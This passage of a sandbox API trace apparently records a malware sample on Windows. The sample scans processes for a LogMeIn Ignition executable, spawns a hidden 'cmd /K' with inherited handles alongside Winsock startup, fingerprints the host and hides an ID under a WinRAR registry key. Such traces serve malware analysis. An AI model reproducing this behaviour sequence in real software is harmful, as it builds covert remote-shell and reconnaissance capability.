lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.292] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.292] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.292] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.292] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.293] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.293] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.293] StrStrIA (lpFirst="audiodg.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.293] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.294] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.294] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.294] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.294] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.295] StrStrIA (lpFirst="spoolsv.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.295] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.295] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.295] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.296] StrStrIA (lpFirst="taskhost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.296] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.296] StrStrIA (lpFirst="dwm.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.296] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.297] StrStrIA (lpFirst="explorer.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.297] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.297] StrStrIA (lpFirst="taskeng.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.297] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.298] StrStrIA (lpFirst="taskeng.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.298] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.298] StrStrIA (lpFirst="taskeng.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.298] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.298] StrStrIA (lpFirst="taskhost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.299] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0047.299] StrStrIA (lpFirst="prospectssayspotteryamplifier.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.299] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0047.299] StrStrIA (lpFirst="combinations-bits-tape.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.299] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0047.300] StrStrIA (lpFirst="delicious_sale.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.300] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0047.300] StrStrIA (lpFirst="friendly.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.300] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0047.301] StrStrIA (lpFirst="reveal-salaries-mandate.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.301] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0047.301] StrStrIA (lpFirst="catalogvidsmoreoverrail.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.301] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0047.302] StrStrIA (lpFirst="sri-gods.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.302] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0047.302] StrStrIA (lpFirst="wines-fix-hopefully-analyzed.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.302] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0047.303] StrStrIA (lpFirst="lovers_voices_chicks.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.303] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0047.303] StrStrIA (lpFirst="cool rev connection ranger.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.303] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0047.304] StrStrIA (lpFirst="psychiatrychip.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.304] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0047.304] StrStrIA (lpFirst="delivers_launches_tagged_antique.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.304] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0047.305] StrStrIA (lpFirst="pp availability.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.305] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0047.305] StrStrIA (lpFirst="pdtdifficultrolandddr.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.305] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0047.306] StrStrIA (lpFirst="falls.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.306] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0047.306] StrStrIA (lpFirst="slightly dentists modified.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.306] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0047.306] StrStrIA (lpFirst="switchconventionspeppercovered.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.307] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0047.307] StrStrIA (lpFirst="statutes_slow_determines_ciao.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.307] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0047.308] StrStrIA (lpFirst="psp.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.308] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0047.308] StrStrIA (lpFirst="anonymous.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.308] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0047.309] StrStrIA (lpFirst="concept_nor_works_holder.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.309] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1 [0047.309] StrStrIA (lpFirst="WINWORD.EXE", lpSrch="LMIIgnition.exe") returned 0x0 [0047.309] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.309] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.309] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0047.310] StrStrIA (lpFirst="OSPPSVC.EXE", lpSrch="LMIIgnition.exe") returned 0x0 [0047.310] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.310] StrStrIA (lpFirst="svchost.exe", lpSrch="LMIIgnition.exe") returned 0x0 [0047.310] Process32Next (in: hSnapshot=0x258, lppe=0xefcdc | out: lppe=0xefcdc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0047.311] CloseHandle (hObject=0x258) returned 1 [0047.311] CreateMutexA (lpMutexAttributes=0xefc78, bInitialOwner=1, lpName="Local\\mtxLogMeInIgnition.IgnitionMutex") returned 0x258 [0047.311] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="cmd /K", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xefc94*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xefc84 | out: lpCommandLine="cmd /K", lpProcessInformation=0xefc84*(hProcess=0x384, hThread=0x380, dwProcessId=0xa34, dwThreadId=0xa38)) returned 1 [0047.325] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0xefc4c | out: lpWSAData=0xefc4c) returned 0 [0047.325] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xefdf4 | out: ppstm=0xefdf4*=0x7473d8) returned 0x0 [0047.325] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0047.325] IStream:Stat (in: This=0x7473d8, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0ae) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0cf) returned 0x0 [0047.325] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.325] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc80) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc94) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.325] GetVersionExA (in: lpVersionInformation=0xefcd8*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xefcd8*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc84) returned 0x0 [0047.325] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefcd8) returned 0x0 [0047.325] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0047.326] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0047.326] GetProcAddress (hModule=0x75dc0000, lpProcName="IsWow64Process") returned 0x75dd195e [0047.326] GetCurrentProcess () returned 0xffffffff [0047.326] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0xefc90 | out: Wow64Process=0xefc90) returned 1 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.326] LocalAlloc (uFlags=0x40, uBytes=0x480) returned 0x74f980 [0047.326] GetLocaleInfoA (in: Locale=0x400, LCType=0x1002, lpLCData=0x74f980, cchData=1023 | out: lpLCData="United States") returned 14 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc84) returned 0x0 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74f980) returned 0x0 [0047.326] GetLocaleInfoA (in: Locale=0x400, LCType=0x1001, lpLCData=0x74f980, cchData=1023 | out: lpLCData="English") returned 8 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc84) returned 0x0 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0x74f980) returned 0x0 [0047.326] AllocateAndInitializeSid (in: pIdentifierAuthority=0xefc8c, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xefc88 | out: pSid=0xefc88*=0x749670*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0047.326] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x749670*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0xefc84 | out: IsMember=0xefc84) returned 1 [0047.326] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.326] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0xefabc | out: phkResult=0xefabc*=0x0) returned 0x2 [0047.326] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20219, phkResult=0xefa90 | out: phkResult=0xefa90*=0x0) returned 0x2 [0047.326] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20119, phkResult=0xefa64 | out: phkResult=0xefa64*=0x0) returned 0x2 [0047.327] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0xefafb | out: lpBuffer="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 0x25 [0047.327] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xefc08 | out: ppstm=0xefc08*=0x747360) returned 0x0 [0047.327] lstrlenA (lpString="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned 37 [0047.327] lstrlenA (lpString="HWID") returned 4 [0047.327] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x750820 [0047.327] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\" [0047.327] lstrcatA (in: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\", lpString2="HWID" | out: lpString1="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\HWID") returned="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\HWID" [0047.327] CreateFileA (lpFileName="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\HWID" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\hwid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.327] LocalFree (hMem=0x750820) returned 0x0 [0047.327] IUnknown:Release (This=0x747360) returned 0x0 [0047.327] CoCreateGuid (in: pguid=0xefc84 | out: pguid=0xefc84*(Data1=0xab48da29, Data2=0xb9dd, Data3=0x4c5d, Data4=([0]=0x88, [1]=0xcd, [2]=0x3d, [3]=0xb8, [4]=0x88, [5]=0x8a, [6]=0xaf, [7]=0x73))) returned 0x0 [0047.327] wsprintfA (in: param_1=0xefc20, param_2="{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{AB48DA29-B9DD-4C5D-88CD-3DB8888AAF73}") returned 38 [0047.327] lstrlenA (lpString="{AB48DA29-B9DD-4C5D-88CD-3DB8888AAF73}") returned 38 [0047.327] RegCreateKeyA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", phkResult=0xefc00 | out: phkResult=0xefc00*=0x388) returned 0x0 [0047.327] RegSetValueExA (in: hKey=0x388, lpValueName="HWID", Reserved=0x0, dwType=0x3, lpData=0xefc20*, cbData=0x26 | out: lpData=0xefc20*) returned 0x0 [0047.327] RegCloseKey (hKey=0x388) returned 0x0 [0047.327] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb3c | out: phkResult=0xefb3c*=0x388) returned 0x0 [0047.327] RegQueryValueExA (in: hKey=0x388, lpValueName="HWID", lpReserved=0x0, lpType=0xefb34, lpData=0x0, lpcbData=0xefb38*=0x10 | out: lpType=0xefb34*=0x3, lpData=0x0, lpcbData=0xefb38*=0x26) returned 0x0 [0047.327] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0047.328] RegQueryValueExA (in: hKey=0x388, lpValueName="HWID", lpReserved=0x0, lpType=0x0, lpData=0x754820, lpcbData=0xefb38*=0x26 | out: lpType=0x0, lpData=0x754820*=0x7b, lpcbData=0xefb38*=0x26) returned 0x0 [0047.328] RegCloseKey (hKey=0x388) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc98) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0x754820) returned 0x0 [0047.328] LocalFree (hMem=0x754820) returned 0x0 [0047.328] LocalFree (hMem=0x74f980) returned 0x0 [0047.328] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75dc0000 [0047.328] GetProcAddress (hModule=0x75dc0000, lpProcName="GetNativeSystemInfo") returned 0x75de10b5 [0047.328] GetNativeSystemInfo (in: lpSystemInfo=0xefca8 | out: lpSystemInfo=0xefca8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc84) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefca8) returned 0x0 [0047.328] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.328] IStream:LockRegion (This=0x7473d8, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0047.328] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc84) returned 0x0 [0047.328] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0047.328] IStream:LockRegion (This=0x7473d8, 